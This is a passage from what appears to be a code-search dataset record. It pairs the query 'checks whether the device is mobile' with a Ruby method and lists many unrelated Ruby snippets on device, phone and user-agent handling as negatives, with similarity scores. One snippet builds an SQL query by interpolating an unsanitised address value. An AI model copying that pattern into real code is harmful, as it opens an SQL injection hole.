$stderr.puts \"!! MOLE RECORDING CRAPPED OUT !! -- #{boom}\"\n boom.backtrace.each { |l| $stderr.puts l }\n end", "def hash\n [height, id, is_mobile, name, width].hash\n end", "def get_info\n \"The #{@model} bike has #{@wheels} wheels and a #{@frame_size}cm frame.\"\n end", "def mobile_phone\n return unless @user.loa3?\n\n dig_out('telephones', 'phone_type', VAProfile::Models::Telephone::MOBILE)\n end", "def device_str\n\tdev_str = {\n\t\t \"iPhone\" => \"iPhone\",\n\t\t \"iPad (Retina)\" => \"iPad_Retina\",\n\t\t \"iPhone (Retina 4-inch)\"\t=> \"iPhone_Retina_4_inch\",\n\t\t \"iPhone (Retina 3.5-inch)\" => \"iPhone_Retina_3.5_inch\"\n\t}\n\n\tsv = server_version[\"simulator\"]\n\tsv=~/\\((.*)\\//\n\tdev_str[$1]\n\nend", "def device\n device_name\n end", "def device_manufacturer\n return @device_manufacturer\n end", "def device_manufacturer\n return @device_manufacturer\n end", "def local_handheld_detect\n current_screen_res\n if @screen_res != ApplicationController::UNKNOWN_SCREENRES\n screen_matches = @screen_identifier.find_matches(request, @screen_res)\n logger.info(\"found #{screen_matches.size} matches\")\n p screen_matches\n if screen_matches.size > 0\n si = screen_matches[0].screen_info\n if [ScreenInfo::TYPE_MOBILE, ScreenInfo::TYPE_TABLET].include?(si.screen_type)\n # have a tablet/mobile match\n return { :ppi => si.ppi, :width => si.width, :height => si.height, :name => si.name }\n end\n end\n end\n nil\n end", "def get_info \n \"#{@model}, #{@wheels}, #{@current_speed}\"\n end", "def command_get_device_info(command)\n\t\tcommand_get_device(command)\n\t\tif @device\n\t\t\tmessage(\" #{@device.description}\")\n\t\t\[email protected] {|name,window| message(\" #{name}: #{window.info}\")}\n\t\tend\n\tend", "def mobile_platform\n return @children['mobile-platform'][:value]\n end", "def to_h\n info.merge(\n name: name,\n device_number: device_number,\n route_table: route_table,\n local_ips: local_ips,\n public_ips: public_ips,\n enabled: enabled?\n )\n end", "def get_info\n p \"The #{@model} bike has #{@wheels} wheels and a #{@frame_size} frame.\"\n end", "def mobile_phone\n pull unless @details\n begin\n return @details.mobile_phone.free_form_number\n rescue\n return nil\n end\n end", "def get_device_info(addr)\n open_database { |db|\n row = db.get_first_row(<<~EOQ)\n select id, addr, state, `pow-source`, descr\n from SENSOR_TABLE where addr = \"#{addr}\";\n EOQ\n\n ret = {\n :id => row[0],\n :addr => row[1],\n :state => row[2],\n :psrc => row[3],\n :descr => row[4],\n }\n\n return ret\n }\n end", "def manufacturer; end", "def show\n\t\t\t#check params device_code\n\t\t\tunless params[:device_code].blank? or params[:regId_code].blank?\n\t\t\t\t#check device exits\n\t\t\t\t@device = Device.find_by(code: params[:device_code])\n\t\t\t\t#neu co\n\t\t\t\tif @device\n\t\t\t\t\tif @device.status == false\n\t\t\t\t\t\t\t#render status =002\n\t\t\t\t\t\t\trender json:{status: 0, message:\"Device not used\",details:{name_device:@device.name,notification: 1,info:{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tid:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tname:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\taddress:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttour_name:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tlat:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tlng:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tphone:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdevice_id:@device.id\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tif @device.reg_id.blank?\n\t\t\t\t\t\t\[email protected](reg_id:params[:regId_code])\n\t\t\t\t\t\t\t#check status\n\t\t\t\t\t\t\t# if don't joined tour\n\t\t\t\t\t\t\t#joined tour\n\t\t\t\t\t\t\t@tourguide = Tourguide.find_by(device_id:@device.id)\n\t\t\t\t\t\t\t# @tourguide_info = @tourguide\n\t\t\t\t\t\t\t# @tourguide_info[:abc] = @device.lat\n\t\t\t\t\t\t\t# @tourguide[:lng] = @device.lng\n\t\t\t\t\t\t\tif @tourguide #tourguide\n\t\t\t\t\t\t\t\t#render tourguide info\n\t\t\t\t\t\t\t\t\trender json:{ \n\t\t\t\t\t\t\t\t\t\t\t\t\tstatus:0,message: \"Success\",details:{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tgroup: 1,name_device: @device.name,notification:2,info:{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tid:@tourguide[:id],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tname:@tourguide[:name],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\taddress:@tourguide[:address],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttour_name:@tourguide.tours.first.name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\timages:\"http://\"+request.host_with_port+\"/assets/images_tourguide/\"[email protected],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tlat:@device.lat == nil ? \"\" : @device.lat,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tlng:@device.lng == nil ? \"\" : @device.lng,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tphone:@tourguide[:phone],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdevice_id:@device.id\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse#traveller\n\t\t\t\t\t\t\t\t# render json:{url:request.host_with_port}\n\t\t\t\t\t\t\t\t#get traveller info\n\t\t\t\t\t\t\t\t@traveller = Traveller.find_by(device_id:@device.id)\n\t\t\t\t\t\t\t\t#render traveller info\n\t\t\t\t\t\t\t\trender json:{ \n\t\t\t\t\t\t\t\t\t\t\t\tstatus:0,message: \"Success\",details:{\n\t\t\t\t\t\t\t\t\t\t\t\t\tgroup: 0,name_device: @device.name,notification:2,info:{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tid:@traveller[:id],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tname:@traveller[:name],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\taddress:@traveller[:address],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ttour_name:@traveller.tours.first.name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\timages:\"http://\"+request.host_with_port+\"/assets/images_travellers/\"[email protected],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tlat:@device.lat == nil ? \"\" : @device.lat,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tlng:@device.lng == nil ? \"\" : @device.lng,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tphone:@traveller[:phone],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tdevice_id:@device.id\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telsif @device.reg_id != params[:regId_code]\n\t\t\t\t\t\t\trender json:{ status: 103, message:\"RegId invalid \"}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t#joined tour\n\t\t\t\t\t\t\t@tourguide = Tourguide.find_by(device_id:@device.id)\n\t\t\t\t\t\t\t# @tourguide_info = @tourguide\n\t\t\t\t\t\t\t# @tourguide_info[:abc] = @device.lat\n\t\t\t\t\t\t\t# @tourguide[:lng] = @device.lng\n\t\t\t\t\t\t\tunless @tourguide == nil #tourguide\n\t\t\t\t\t\t\t\t#render tourguide info\n\t\t\t\t\t\t\t\t\trender json:{ \n\t\t\t\t\t\t\t\t\t\t\t\t\tstatus:0,message: \"Success\",details:{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tgroup: 1,name_device: @device.name,notification:2,info:{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tid:@tourguide[:id],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tname:@tourguide[:name],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\taddress:@tourguide[:address],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttour_name:@tourguide.tours.first.name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\timages:\"http://\"+request.host_with_port+\"/assets/images_tourguide/\"[email protected],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tlat:@device.lat == nil ? \"\" : @device.lat,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tlng:@device.lng == nil ? \"\" : @device.lng,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tphone:@tourguide[:phone],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdevice_id:@device.id\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse#traveller\n\t\t\t\t\t\t\t\t# render json:{url:request.host_with_port}\n\t\t\t\t\t\t\t\t#get traveller info\n\t\t\t\t\t\t\t\t@traveller = Traveller.find_by(device_id:@device.id)\n\t\t\t\t\t\t\t\t#render traveller info\n\t\t\t\t\t\t\t\trender json:{ \n\t\t\t\t\t\t\t\t\t\t\t\tstatus:0,message: \"Success\",details:{\n\t\t\t\t\t\t\t\t\t\t\t\t\tgroup: 0,name_device: @device.name,notification:2,info:{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tid:@traveller[:id],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tname:@traveller[:name],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\taddress:@traveller[:address],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ttour_name:@traveller.tours.first.name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\timages:\"http://\"+request.host_with_port+\"/assets/images_travellers/\"[email protected],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tlat:@device.lat == nil ? \"\" : @device.lat,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tlng:@device.lng == nil ? \"\" : @device.lng,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tphone:@traveller[:phone],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tdevice_id:@device.id\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse #don't already system\n\t\t\t\t\t\t#render status = 001\n\t\t\t\t\t\trender json:{status:0,message:\"Device not already in system\",details:{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tgroup: \"\",name_device:\"\",notification:0,info:{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tid:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tname:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\taddress:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttour_name:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tlat:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tlng:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tphone:\"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdevice_id:\"\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\tend\n\t\t\telse\n\t\t\t\trender json:{status: 104, message:\"Not found information device code or regID code\"}\n\t\t\tend\n\t\tend", "def mobile_standard\n if request.env[\"HTTP_X_MOBILE_GATEWAY\"]\n out = nil\n else\n\n # request.env[\"HTTP_USER_AGENT\"].match(\"iPhone\") ? \"mobile\" : \"callc\"\n if session[:layout_t]\n if session[:layout_t].to_s == \"mini\"\n\n if request.env[\"HTTP_USER_AGENT\"].to_s.match(\"iPhone\")\n out = \"iphone\"\n end\n end\n if session[:layout_t].to_s == \"full\" or session[:layout_t].to_s == nil\n out = \"callc\"\n end\n if session[:layout_t].to_s == \"callcenter\"\n out = \"callcenter\"\n end\n else\n if !(request.env[\"HTTP_USER_AGENT\"].to_s.match(\"iPhone\") or request.env[\"HTTP_USER_AGENT\"].to_s.match(\"iPod\"))\n out = \"callc\"\n end\n if request.env[\"HTTP_USER_AGENT\"].to_s.match(\"iPhone\")\n out = \"iphone\"\n end\n end\n end\n return out\n end", "def new\n #获取设备编号\n @device = Device.new\n @device.no = device_no\n @provider=Provider.find(:all)\n\n #设备详情\n @device_detail=ComputerDetail.new\n @device_type=\"computer_detail\"\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @device }\n end\n end", "def _identify\n begin\n product = nil\n { \"sfcb\" => [ \"root/interop\", \"CIM_ObjectManager\" ],\n \"pegasus\" => [ \"root/PG_Internal\", \"PG_ConfigSetting\" ]\n }.each do |cimom, op|\n obj = objectpath *op\n @client.instances(obj).each do |inst|\n product = inst.Description || cimom\n break\n end\n break if product\n end\n rescue Sfcc::Cim::ErrorInvalidClass, Sfcc::Cim::ErrorInvalidNamespace\n raise \"Unknown CIMOM\"\n end\n product\n end", "def read_device_info (device, kind)\n kind = kind.to_sym\n kinds = [:ip, :udid, :serial]\n unless kinds.include?(kind)\n raise \"illegal argument '#{kind}' - must be one of '#{kinds}'\"\n end\n\n path = File.expand_path(\"~/.xamarin/devices/#{device}/#{kind}\")\n\n unless File.exist?(path)\n @log.fatal{\"cannot read device information for '#{device}'\"}\n @log.fatal{\"file '#{path}' does not exist\"}\n exit 1\n end\n\n begin\n IO.readlines(path).first.strip\n rescue Exception => e\n @log.fatal{\"cannot read device information for '#{device}'\"}\n @log.fatal{e}\n exit 1\n end\nend", "def node_hw_hash_to_hw_info(hw_hash)\n hw_hash.inject({}) do |hash, (k, v)|\n if k == 'mac'\n v.each_with_index {|v,n| hash[\"net#{n}\"] = v }\n else\n hash[k] = v\n end\n hash\n end\n end", "def node_hw_hash_to_hw_info(hw_hash)\n hw_hash.inject({}) do |hash, (k, v)|\n if k == 'mac'\n v.each_with_index {|v,n| hash[\"net#{n}\"] = v }\n else\n hash[k] = v\n end\n hash\n end\n end", "def details\n\t\treturn @feature + \". \" + @real_shake.details\n\tend", "def id; Common.device_id(@handle); end", "def metadata\n {\n :name => \"QRCode Raplet\",\n :description => \"Shows a QRCode under phone numbers in the HUD\",\n :welcome_text => %q{\n <p>In order to see this raplet in action, connect your Google Contacts\n to Rapportive and then click on a phone number.</p>\n <p>You'll then be able to take a photo of the QRCode instead of having\n to type the number into your phone.</p>\n },\n :provider_name => \"Conrad Irwin\",\n :provider_url => \"http://github.com/ConradIrwin/qrcode-raplet\",\n :type => 'telephony'\n }\n end", "def get_modem\n return self.sendcmd(\"modem.get_name\")\n end", "def device_type\n self[:type]\n end", "def mobile_url\r\n infoxml = get_info\r\n return infoxml.at('mobileurl').inner_text\r\n end", "def device_type\n self[:type]\n end", "def details\n find_customer\n render_mobile(:mobile_layout => \"mobile\")\n end", "def find(id)\n json = JSON.parse(http_client.get(\"mobiledevices/id/#{id}\"))\n MobileDevice.new(json.fetch(\"mobile_device\"))\n end", "def hash\n [class_id, object_type, admin_evac_state, admin_inband_interface_state, alarm_summary, available_memory, device_mo_id, dn, ethernet_mode, ethernet_switching_mode, fault_summary, fc_mode, fc_switching_mode, firmware, inband_ip_address, inband_ip_gateway, inband_ip_mask, inband_vlan, ipv4_address, management_mode, model, name, num_ether_ports, num_ether_ports_configured, num_ether_ports_link_up, num_expansion_modules, num_fc_ports, num_fc_ports_configured, num_fc_ports_link_up, oper_evac_state, operability, out_of_band_ip_address, out_of_band_ip_gateway, out_of_band_ip_mask, out_of_band_ipv4_address, out_of_band_ipv4_gateway, out_of_band_ipv4_mask, out_of_band_ipv6_address, out_of_band_ipv6_gateway, out_of_band_ipv6_prefix, out_of_band_mac, presence, revision, rn, serial, source_object_type, switch_id, thermal, total_memory, vendor, version, registered_device].hash\n end", "def device\n @device ||= Device.new(ua)\n end", "def device_model=(value)\n @device_model = value\n end", "def device_model=(value)\n @device_model = value\n end", "def platform\n fetch('device.platform')\n end", "def all_smartphones\n sp = Smartphone.select('id, model, code').where(state: 'catalog').uniq(&:code)\n # Format to show in filters\n smp = sp.map { |m| [m.model, m.model] }\n return smp\n end", "def mobile_number\n phones.mobile.try(:first).try(:number)\n end", "def physical_memory_info\n\n if PlatformInfo.linux?\n\n {\n :total => proc_meminfo['MemTotal'],\n :used => proc_meminfo['MemTotal'] - proc_meminfo['MemFree'],\n :cached => proc_meminfo['Cached'],\n :free => proc_meminfo['MemFree'] \n }\n\n elsif PlatformInfo.osx?\n\n hw_memsize = capture_command_output('sysctl', 'hw.memsize')[0]\n total_memory = hw_memsize.split(':')[1].strip.to_i\n\n # Parse the header information produced by top -l 1 to figure out the\n # physical memory stats.\n top = capture_command_output('top', '-l', '1')\n top_phys_mem = top.select { |t| t =~ /^PhysMem\\:/ }.first.strip.gsub(/^PhysMem\\:\\s+/, '')\n top_phys_mem_pairs = top_phys_mem.split(',')\n\n phys_mem = {}\n top_phys_mem_pairs.each do |top_phys_mem_pair|\n items = top_phys_mem_pair.strip.split(/\\s+/)\n key = items[1].gsub(/\\W/, '')\n value = items[0].to_i * 1024 * 1024 # Convert MB to bytes\n phys_mem[key] = value\n end\n\n {\n :total => total_memory,\n :used => phys_mem['used'],\n :free => phys_mem['free']\n }\n\n else\n unsupported_platform\n end\n\n end", "def device_description\n return @device_description\n end", "def device\n return nil unless length >= 4\n return nil unless self[3].comment.last.include?(' Build/')\n\n self[3].comment.last.split(' Build/').first\n end", "def manufacturer\n return @manufacturer\n end", "def get_verification_details\n make_gps_server_handshake\n end", "def show\n json_response(@device)\n end", "def system_info\n si = SysInfo.new\n si.to_hash\n rescue \n {}\n end", "def further_details \n {\n 'agent.name' => 'agent.major_version',\n 'agent.os' => 'agent.name',\n 'agent.major_version' => 'agent.full_version',\n 'agent.engine_name' => 'agent.engine_version',\n 'silverlight_major_version' => 'silverlight_version',\n 'flash_major_version' => 'flash_version',\n 'country' => 'city',\n 'requested_locale_major' => 'requested_locale_minor',\n }\n end", "def device_type\n case request.user_agent\n when /mobile/i\n \"mobile\"\n when /iPad/i\n \"tablet\"\n when /Android/i\n \"tablet\"\n else\n \"desktop\"\n end\n end", "def pretty_segmentation_characteristics\n d = {\n \"Device Manufacturer\" => self.manufacturer,\n \"Device Model\" => self.model\n }\n end", "def device\n return if application.nil?\n return unless application.comment.last.include?(' Build/')\n\n application.comment.last.split(' Build/').first\n end", "def product_model\n # CHANGED: DRYed\n # if recurring_monthly; elsif device_model.blank?; else <device_name_and_part_number>\n recurring_monthly ? \"Recurring Monthly\" : \\\n (device_model.blank? ? \"Unknown\" : \\\n (PRODUCT_HASH.index(device_model.part_number) || '') + \" (\" + device_model.part_number + \")\"\n )\n \n # part_num_hash = PRODUCT_HASH.invert\n # \n # if(recurring_monthly == true)\n # \"Recurring Monthly\"\n # else\n # if !device_model.nil?\n # label = part_num_hash[device_model.part_number] + \" (\" + device_model.part_number + \")\" \n # else\n # label = \"Unknown\"\n # end\n # end\n end", "def physical_device_id\n return @physical_device_id\n end", "def info\n @lock.synchronize do\n hwaddr = self.hwaddr\n unless @meta_cache && @meta_cache[:hwaddr] == hwaddr\n @meta_cache = Meta.connection do\n raise Errors::MetaBadResponse unless Meta.interface(hwaddr, '', not_found: nil)\n {\n hwaddr: hwaddr,\n interface_id: Meta.interface(hwaddr, 'interface-id'),\n subnet_id: Meta.interface(hwaddr, 'subnet-id'),\n subnet_cidr: Meta.interface(hwaddr, 'subnet-ipv4-cidr-block')\n }.freeze\n end\n end\n @meta_cache\n end\n rescue Errors::MetaConnectionFailed\n raise Errors::InvalidInterface, \"Interface #{name} could not be found in the EC2 instance meta-data\"\n end", "def find_device_type\n case request.user_agent\n # when /mac|ios/i\n # :ios\n when /android/i\n :android\n else\n nil\n end\n end", "def get_name\n \"#{@manufacturer} #{@model}\"\n end", "def display_device_name\n return @display_device_name\n end", "def iphone_4?\n GBDeviceInfo.deviceDetails.model == GBDeviceModeliPhone4\n end", "def user_system_info\n {\n :system => NoPlanB::HttpHeaderUtils.extract_system_info(request.env['HTTP_USER_AGENT']),\n :browser => NoPlanB::HttpHeaderUtils.extract_browser_info(request.env['HTTP_USER_AGENT']),\n :ip_address => request.remote_ip\n }\n end", "def mobile_phone\n return @mobile_phone\n end", "def device_type\n matching = {\n ScreenSize::IOS_35 => Spaceship::ConnectAPI::AppPreviewSet::PreviewType::IPHONE_35,\n ScreenSize::IOS_40 => Spaceship::ConnectAPI::AppPreviewSet::PreviewType::IPHONE_40,\n ScreenSize::IOS_47 => Spaceship::ConnectAPI::AppPreviewSet::PreviewType::IPHONE_47, # also 7 & 8\n ScreenSize::IOS_55 => Spaceship::ConnectAPI::AppPreviewSet::PreviewType::IPHONE_55, # also 7 Plus & 8 Plus\n ScreenSize::IOS_58 => Spaceship::ConnectAPI::AppPreviewSet::PreviewType::IPHONE_58,\n ScreenSize::IOS_65 => Spaceship::ConnectAPI::AppPreviewSet::PreviewType::IPHONE_65,\n ScreenSize::IOS_IPAD => Spaceship::ConnectAPI::AppPreviewSet::PreviewType::IPAD_97,\n ScreenSize::IOS_IPAD_10_5 => Spaceship::ConnectAPI::AppPreviewSet::PreviewType::IPAD_105,\n ScreenSize::IOS_IPAD_11 => Spaceship::ConnectAPI::AppPreviewSet::PreviewType::IPAD_PRO_3GEN_11,\n ScreenSize::IOS_IPAD_PRO => Spaceship::ConnectAPI::AppPreviewSet::PreviewType::IPAD_PRO_129,\n ScreenSize::IOS_IPAD_PRO_12_9 => Spaceship::ConnectAPI::AppPreviewSet::PreviewType::IPAD_PRO_3GEN_129,\n ScreenSize::MAC => Spaceship::ConnectAPI::AppPreviewSet::PreviewType::DESKTOP\n }\n return matching[self.screen_size]\n end", "def ecn_hash\n { model: @model,\n port: @port,\n area: @area,\n mac_address: @mac_address }\n end", "def display_name\n self.device_name || \"#{vendor} #{model}\"\n end", "def mobile?\n os_parser.mobile?\n end", "def mobile_format\n strfphone(MOBILE_FORMAT)\n end", "def mobile_device?\r\n if session[:mobile_param]\r\n session[:mobile_param] == \"1\"\r\n else\r\n request.user_agent =~ /Mobile|webOS/\r\n end\r\n end", "def creation_info\n # Not caching here, easier to cache the important values separately instead\n client.api.get_room_creation_info(id)\n end", "def platform\n data.platform\n end", "def list\n Airplay.devices.each do |device|\n puts <<-EOS.gsub(/^\\s{12}/,'')\n * #{device.name} (#{device.info.model} running #{device.info.os_version})\n ip: #{device.ip}\n mac: #{device.id}\n password?: #{device.password? ? \"yes\" : \"no\"}\n type: #{device.type}\n resolution: #{device.info.resolution}\n\n EOS\n end\n end", "def info\n do_rpc({:id=>1,\n :procedure=>:info,\n :arguments=>[model_rid, {}]\n })\n end", "def device_type\n self[:type]\n end" ]
[ "0.6981255", "0.6514642", "0.6396793", "0.63257015", "0.63199264", "0.62843055", "0.62265646", "0.61616135", "0.61467856", "0.614296", "0.61323994", "0.60735446", "0.6047256", "0.5994361", "0.5986404", "0.5956398", "0.59381473", "0.5819512", "0.5816249", "0.5765577", "0.57632935", "0.57632935", "0.5758504", "0.5744257", "0.5743336", "0.57075906", "0.57051706", "0.56607014", "0.5642886", "0.5634872", "0.56235003", "0.5620457", "0.56137186", "0.5606654", "0.5596752", "0.5593524", "0.5593524", "0.5551233", "0.55454975", "0.5537884", "0.55375946", "0.5520774", "0.5505643", "0.5500157", "0.5482938", "0.5478759", "0.5476191", "0.5474416", "0.54635245", "0.54561", "0.5450227", "0.54496336", "0.54495025", "0.5441748", "0.5429455", "0.5413768", "0.541317", "0.5405831", "0.5399037", "0.53981084", "0.5392575", "0.5382957", "0.5375516", "0.53741556", "0.53721416", "0.53721416", "0.53631103", "0.53574336", "0.5354854", "0.5353626", "0.5350187", "0.53472435", "0.5340616", "0.5327294", "0.5322418", "0.53212637", "0.5320759", "0.5319008", "0.5315031", "0.5311489", "0.53038204", "0.53035235", "0.5303475", "0.52889776", "0.52784127", "0.52765346", "0.5270981", "0.52709633", "0.52621466", "0.5261918", "0.525927", "0.5258221", "0.5249882", "0.52472025", "0.52449936", "0.5243509", "0.52422523", "0.52388656", "0.5235874", "0.52338934" ]
0.76272607
0
checks whether the device is mobile Returns 1 for true and 0 for a desktop browser
def is_mobile_device() res = self.send_request 'is_mobile_device' return res.body end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mobile?\n is_mobile_device?\n end", "def mobile_device?\r\n if session[:mobile_param]\r\n session[:mobile_param] == \"1\"\r\n else\r\n request.user_agent =~ /Mobile|webOS/\r\n end\r\n end", "def mobile_device?\n request.user_agent =~ /Mobile|webOS/\n end", "def mobile_device?\n !!(request.user_agent =~ /Mobile|webOS/i)\n end", "def mobile?\n true\n end", "def mobile?\n true\n end", "def mobile?\n os_parser.mobile?\n end", "def mobile?\n @mobile\n end", "def is_mobile_device?\n !!mobile_device\n end", "def is_mobile_device?\n !!mobile_device\n end", "def mobile_device?\n if session[:mobile_param]\n session[:mobile_param] == \"1\"\n else\n if request.user_agent =~ /Mobile|webOS/\n session[:mobile_param] = \"1\"\n return true\n else\n return false\n end\n end\n end", "def is_mobile_device?\n return false if session[:force_agent] == :html\n return true if session[:force_agent] == :mobile\n \n get_device unless @device\n return @device.is_mobile? if @device\n return false\n end", "def is_desktop_browser?\n !Handset.is_mobile? request.user_agent\n end", "def is_mobile_device?\n Handset.is_mobile? request.user_agent\n end", "def is_mobile_browser?\n Handset.is_mobile? request.user_agent\n end", "def mobile_device?\n if Rails.env.development?\n if session[:mobile_param] \n session[:mobile_param] == \"1\" \n else \n request.user_agent =~ /Mobile/ \n end\n else\n false\n end \n end", "def mobile?\n agent_str = request.env[\"HTTP_USER_AGENT\"].to_s.downcase\n return false if agent_str =~ /ipad/\n agent_str =~ Regexp.new(MOBILE_USER_AGENTS)\n end", "def mobile?\n user_agent = request.user_agent.to_s.downcase rescue \"false\"\n return false if user_agent =~ /ipad/\n user_agent =~ Regexp.new(MOBILE_USER_AGENTS)\n end", "def is_mobile?\n !!self.mobile_device_name\n end", "def mobile_device?\n if session[:mobile_override].present?\n session[:mobile_override] == \"1\"\n else\n (request.user_agent =~ /Mobile|webOS/) && (request.user_agent !~ /iPad/) ? true : false\n end\n end", "def mobile_device?\n # We CAN'T check if the device is an +Appium::Driver+ since it is not a RemoteWebDriver. Because of that we use a\n # flag we got as an option in the constructor.\n @is_mobile_device\n end", "def mobile_device?\n if session[:mobile_override]\n session[:mobile_override] == '1'\n else\n (request.user_agent =~ /Mobile|webOS/) && (request.user_agent !~ /iPad/)\n end\n end", "def desktop?\n !is_mobile_device? && !is_tablet_device?\n end", "def desktop_request?\n !mobile_request?\n end", "def is_browser_mobile(request)\n user_agent = request.headers['HTTP_USER_AGENT']\n return true if /android/i.match(user_agent)\n return true if /iphone/i.match(user_agent)\n return true if /ipad/i.match(user_agent)\n return false\n end", "def windows_mobile?\n !!(ua =~ /Windows CE/)\n end", "def is_mobile_or_tablet?\n # mobile_fu's method\n is_mobile_device? || is_tablet_device?\n end", "def mobile_detect\n logger.info(\"request from tablet device\") if is_tablet_device?\n logger.info(\"request from mobile device\") if is_mobile_device?\n\n #for header in request.env.select {|k,v| k.match(\"^HTTP.*\")}\n # puts \"#{header} = #{request.env[header]}\"\n #end\n\n # first use mobile-fu methods to determine if we have a mobile device at all.\n if is_mobile_or_tablet?\n # find out device and ppi\n # attempt 1: check LifeSize cookie\n screen_data = ScreenData.new(cookies[ApplicationController::LIFESIZE_COOKIE])\n stored_config = screen_data.first_config # on mobile, there should only ever be one screen config in the cookie\n\n device = nil\n if stored_config\n # found a device config in cookie, attempt to look it up. Even though the ppi is stored in the cookie,\n # we'll use the value from the database since it may have been changed/corrected.\n # We also use the Device to get the display name\n device = Device.by_device_id(stored_config[:name])\n logger.info(\"detected device #{device.display_name} from cookie\") if device\n end\n if !(device && device.can_render_images_on?)\n # no stored config or device couldn't be found. Use handset detection to find it\n device = lookup_mobile_device\n if device\n logger.info(\"detected device #{device.display_name} using handsetdetection\")\n else\n # give up, couldn't look up mobile device. Render non-mobile view instead\n logger.error(\"problem with handsetdetection, unable to detect mobile device for request with user agent: #{request.headers['user-agent']}\")\n request.format = :html\n return true\n end\n end\n\n # use the device pixel ratio from the Device model, unless that device has not yet been verified\n # AND the device pixel ratio was set in the request\n device_pixel_ratio = device.device_pixel_ratio\n if params[:r]\n if !device.verified?\n # device isn't verified yet, use pixel ratio from request\n 